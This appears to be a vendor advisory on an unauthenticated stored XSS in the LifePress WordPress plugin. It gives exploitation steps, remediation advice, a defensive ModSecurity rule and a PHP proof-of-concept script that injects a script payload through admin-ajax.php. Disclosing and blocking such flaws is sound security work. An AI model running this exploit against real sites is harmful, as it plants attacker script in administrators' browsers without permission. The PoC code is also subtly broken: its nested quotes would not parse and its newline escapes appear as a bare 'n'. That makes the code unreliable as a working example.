Atomic Edge analysis of CVE-2026-6690 (metadata-based): This vulnerability allows unauthenticated stored cross-site scripting in the LifePress plugin for WordPress, affecting versions up to and including 2.2.2. The flaw resides in the lp_update_mds AJAX action, which lacks nonce verification and capability checks. An attacker can inject arbitrary web scripts through the ‘n’ parameter, and these scripts execute when an administrator views the injected admin settings page.
Root Cause: The description indicates the plugin registers the `wp_ajax_nopriv_lp_update_mds` hook, making the action accessible to unauthenticated users. Atomic Edge analysis infers the underlying issue is a combination of missing nonce validation, absent capability checks, and insufficient input sanitization and output escaping. The CWE-79 classification confirms the vulnerability is stored XSS. The ‘n’ parameter value is stored unsanitized and later rendered on the admin settings page without proper escaping. This conclusion is inferred from the CVE description and CWE; no source code diff was available for confirmation.
Exploitation: An attacker sends a POST request to `/wp-admin/admin-ajax.php` with `action=lp_update_mds` and the `n` parameter containing a JavaScript payload, such as `alert(‘XSS’)`. Because the handler has no nonce or capability requirements, any unauthenticated user can trigger the action. The payload is stored and later executed when an administrator accesses the affected admin settings page. The attacker does not need any prior authentication or privileges.
Remediation: The plugin must add a nonce check using `wp_verify_nonce()` and ensure only authorized users (via `current_user_can()` for a proper capability like `manage_options`) can call the action. The input should be sanitized with `sanitize_text_field()` or similar, and the output must be escaped using `esc_html()` or `wp_kses_post()` when rendering the series name. Since no patched version is available, users should disable the plugin until a fix is released.
Impact: Successful exploitation allows an attacker to inject malicious scripts into the WordPress admin area. These scripts can steal session cookies, exfiltrate sensitive data, modify site content, create rogue administrator accounts, or redirect users to malicious sites. The CVSS score of 7.2 reflects the high attack surface (network, low complexity, no authentication) and the potential for serious compromise of the WordPress installation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6690 (metadata-based)
# This rule blocks the unauthenticated stored XSS via lp_update_mds AJAX action.
# It matches the exact AJAX action and inspects the 'n' parameter for script injection.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20266900,phase:2,deny,status:403,chain,msg:'CVE-2026-6690 LifePress Unauthenticated Stored XSS via lp_update_mds',severity:'CRITICAL',tag:'CVE-2026-6690'"
SecRule ARGS_POST:action "@streq lp_update_mds" "chain"
SecRule ARGS_POST:n "@rx <script[\s>]" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6690 - LifePress <= 2.2.2 - Unauthenticated Stored Cross-Site Scripting via 'n' parameter via lp_update_mds AJAX Action
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// XSS payload - a simple alert that will execute when admin views the settings page
$payload = '<script>alert('Atomic Edge XSS PoC');</script>';
$post_data = array(
'action' => 'lp_update_mds',
'n' => $payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status Code: $http_coden";
echo "Response: $responsenn";
if ($http_code == 200) {
echo "Success: The payload was sent. It will execute when an admin visits the LifePress settings page.n";
} else {
echo "The request may have failed. Check if the target is vulnerable.n";
}
